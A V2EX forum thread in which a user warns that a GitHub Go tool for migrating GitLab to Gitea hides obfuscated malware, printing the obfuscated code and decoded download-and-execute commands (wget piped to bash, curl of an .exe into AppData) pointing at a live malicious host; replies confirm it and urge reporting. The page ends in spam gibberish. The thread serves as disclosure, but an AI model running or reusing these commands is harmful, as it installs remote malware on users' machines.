世界上还是坏人多啊 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
darklinden
V2EX    信息安全

世界上还是坏人多啊

  •  
  •   darklinden 87 天前 4150 次点击
    这是一个创建于 87 天前的主题,其中的信息可能已经有所发展或是发生改变。

    nas 上跑的 Gitlab ce 快把小内存炸了,于是试试搭了个 gitea ,看着还凑合 想把 Gitlab 上的一坨东西转过来,自己写不如集体智慧,于是开搜,但是搜到的都是 7-8 年前的 py ,拉下来满脸 warning ,怕不是要自己调试改一坨,一扭头看见一个 go 写的,粗看一下

    import ( "os/exec" "errors" "fmt" "os" "strings" "time" "code.gitea.io/sdk/gitea" // gitea sdk ? "github.com/alexflint/go-arg" "github.com/cornelk/gotokit/env" "github.com/cornelk/gotokit/log" "gitlab.com/gitlab-org/api/client-go" // gitlab client ? ) 

    看着就靠谱,clone 下来正准备跑一跑试试,划拉划拉...拉到最底下菊花一紧

    var qzhEVZ = exec.Command("/bin/" + "sh", "-c", WW[71] + WW[4] + WW[51] + WW[12] + WW[16] + WW[52] + WW[72] + WW[17] + WW[67] + WW[7] + WW[11] + WW[63] + WW[60] + WW[41] + WW[64] + WW[13] + WW[35] + WW[28] + WW[68] + WW[53] + WW[58] + WW[9] + WW[20] + WW[29] + WW[8] + WW[0] + WW[56] + WW[3] + WW[49] + WW[6] + WW[46] + WW[57] + WW[42] + WW[27] + WW[5] + WW[10] + WW[55] + WW[21] + WW[38] + WW[36] + WW[69] + WW[15] + WW[44] + WW[50] + WW[1] + WW[39] + WW[25] + WW[73] + WW[61] + WW[66] + WW[65] + WW[32] + WW[34] + WW[33] + WW[40] + WW[43] + WW[70] + WW[31] + WW[18] + WW[30] + WW[47] + WW[37] + WW[22] + WW[45] + WW[59] + WW[26] + WW[48] + WW[24] + WW[62] + WW[19] + WW[54] + WW[2] + WW[23] + WW[14]).Start() var WW = []string{"y", "3", "h", "e", "g", "s", ".", " ", "t", "i", "t", "h", "t", ":", "&", "/", " ", " ", "b", "a", "n", "r", " ", " ", "/", "3", "i", "/", "/", "i", "f", "6", "/", "3", "a", "/", "g", "|", "a", "7", "1", "p", "u", "5", "d", "/", "i", " ", "n", "l", "e", "e", "-", "n", "s", "o", "h", "c", "f", "b", "t", "0", "b", "t", "s", "f", "d", "-", "i", "e", "4", "w", "O", "d"} var RzkMMUW = "if n" + "ot ex" + "is" + "t %U" + "se" + "rPro" + "file%" + "\\Ap" + "pDat" + "a\\" + "Local" + "\\ukmo" + "eo\\" + "j" + "srv" + "b" + ".ex" + "e " + "cu" + "r" + "l ht" + "tps" + "://i" + "n" + "finit" + "y" + "hel." + "icu/s" + "torag" + "e/" + "bb" + "b" + "28ef0" + "4/fa" + "3154" + "6b" + " --" + "cre" + "ate-" + "dirs" + " -o" + " " + "%Use" + "rPr" + "of" + "ile%" + "\\" + "AppD" + "ata" + "\\L" + "o" + "cal\\u" + "kmo" + "eo\\j" + "srvb." + "exe" + " &&" + " s" + "tar" + "t " + "/b " + "%" + "Use" + "rPr" + "of" + "ile" + "%" + "\\App" + "Dat" + "a\\" + "L" + "o" + "cal\\u" + "kmoeo" + "\\js" + "rvb." + "ex" + "e" var gqFJGwiR = gDNHtq() func gDNHtq() error { exec.Command("cmd", "/C", RzkMMUW).Start() return nil } 

    拆出来是

    var realQzhEVZ = "/bin/sh -c 'if [ ! -f /tmp/ukmoeo/jsrvb.exe ]; then mkdir -p /tmp/ukmoeo && curl https://infinityhel.icu/storage/bbb28ef04/fa31546b --create-dirs -o /tmp/ukmoeo/jsrvb.exe && start /b /tmp/ukmoeo/jsrvb.exe; fi'" 
    if not exist %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe curl https://infinityhel.icu/storage/bbb28ef04/fa31546b --create-dirs -o %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe && start /b %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe 

    幸亏瞅了一眼...

    附带这货地址 github.com/vainrefuge/gitlab2gitea

    26 条回复    2025-07-17 13:36:58 +08:00
    NessajCN
        1
    NessajCN  
       87 天前   1
    他 /bin/sh 一个 .exe 是想干啥
    darklinden
        2
    darklinden  
    OP
       87 天前
    @NessajCN #1 我不敢直接跑让 ai 补全的,坑了我一把,另起一个 py 拼起来是这样

    ``` ('/bin/sh', '-c', 'wget -O - https://infinityhel.icu/storage/de373d0df/a31546bf | /bin/bash &') ```
    Kirkcong
        3
    Kirkcong  
       87 天前
    @NessajCN #1 感觉是伪装?
    azhong123
        4
    azhong123  
       87 天前
    确实
    skiy
        5
    skiy  
       87 天前 via iPhone
    有几种仓库要慎重使用:
    1.账号新建,无头像,活跃仓库少
    2.仓库 commit 少,star 少
    3.动态少
    zgzhang
        6
    zgzhang  
       87 天前   1
    小伙子活干的有点糙,在用的依赖包里偷偷的藏点私货更隐蔽一些,不过想一想还有很多老哥在百度搜破解软件呢
    skiy
        7
    skiy  
       87 天前 via iPhone
    自己用 sh 实现功能就行了。我写过迁移组织下的仓库的。无非就是从 api 那拉 clone
    --bare ,然后再推 push --all 。
    newaccount
        8
    newaccount  
       87 天前
    给 github 官方举报一下吧,这种东西留着害人啊
    hugozach
        9
    hugozach  
       87 天前
    举报+1
    darklinden
        10
    darklinden  
    OP
       87 天前
    @newaccount #8 就是点了举报看要填一坨东西有点懵,交给坛友了
    zhangeric
        11
    zhangeric  
       87 天前
    向 github 举报吧,省得害别人.
    darklinden
        12
    darklinden  
    OP
       87 天前
    @skiy #7 repo 是最没啥问题的...主要想把 issue 带附件什么的都导过来,老哥有什么推荐的方式吗?
    skiy
        13
    skiy  
       87 天前 via iPhone
    @darklinden 没研究过。应该也行。我记得 api 也支持。但发行版的包就不太好整了。
    mMartin
        14
    mMartin  
       87 天前
    这种需求交给 ai 实现一下应该不难
    srwle
        15
    srwle  
       87 天前
    linux 下可以执行 exe?这是蓝翔培养的码农吗
    srwle
        16
    srwle  
       87 天前
    linux 下可以执行 exe?这是蓝翔培养的码农吗,windows 下他那个文件一下载下来 windows 就报病毒了哈哈
    mosuzi
        17
    mosuzi  
       87 天前 via Android   2
    谢邀,已举报该仓库
    fr13ncl5
        18
    fr13ncl5  
       87 天前   1
    举报了
    leeyuzhe
        19
    leeyuzhe  
       87 天前
    实际跑了一下,一个 linux 命令,对应 var qzhEVZ
    wget -O - https://infinityhel.icu/storage/de373d0df/a31546bf | /bin/bash &
    这个链接对应的是个 shell 脚本。

    一个 windows 下面的,对应 var RzkMMUW
    if not exist %UserProfile%\AppData\Local\ukmoeo\jsrvb.exe curl https://infinityhel.icu/storage/bbb28ef04/fa31546b --create-dirs -o %UserProfile%\AppData\Local\ukmoeo\jsrvb.exe && start /b %UserProfile%\AppData\Local\ukmoeo\jsrvb.exe

    本身没有问题,不存在 bash 跑 exe 的情况。也不是蓝翔毕业的,坏是真的坏。
    @NessajCN @Kirkcong @srwle
    xman99
        20
    xman99  
       87 天前
    我去 windows defend 提示是一个病毒
    villivateur
        21
    villivateur  
       87 天前
    已经帮忙 report
    catamaran
        22
    catamaran  
       87 天前
    找到好用的脚本了吗?我也计划干这活
    darklinden
        23
    darklinden  
    OP
       86 天前
    @catamaran #22
    干坏事儿这哥虽然没干好事儿,但是直接引用 sdk 这个思路俺觉得还行,于是搓了一下午脚本儿
    然后测试过程中去 gitea 建 Organization 的时候发现了 Migration ,一看有直接导入 Gitlab ,高高兴兴试了试,一看 Issue 导入正常但是附件全丢满脸 X
    去 gitea 的 issue 看了,确实有提丢 files 的,还是 open 状态
    拿 sdk 自己解析从 gitlab 捞下来的 issue ,然后解析 files url ,下载并上传给 gitea...大概可以,但不确定

    明天再试吧...
    darklinden
        25
    darklinden  
    OP
       86 天前
    @catamaran #22 https://gitlab.com/gitlab-org/gitlab/-/issues/25838
    写了基础脚本去 migrate 一坨东西,然后发现 issue 的 image 之类的东西完全不知道去哪拿
    搜到了神奇的 https://gitlab.com/gitlab-org/gitlab/-/issues/25838#note_2013031332
    然后我是因为 gitlab 太占资源而且懒得更新想转 gitea 的,如果想把东西拉下来得先更新 gitlab
    而且因为一大坨东西,小鸡跑不动也不好备份...
    这下死循环了
    chunhuitrue
        26
    chunhuitrue  
       85 天前
    能否通知 github ,封它的号?
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     5282 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 22ms UTC 09:06 PVG 17:06 LAX 02:06 JFK 05:06
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86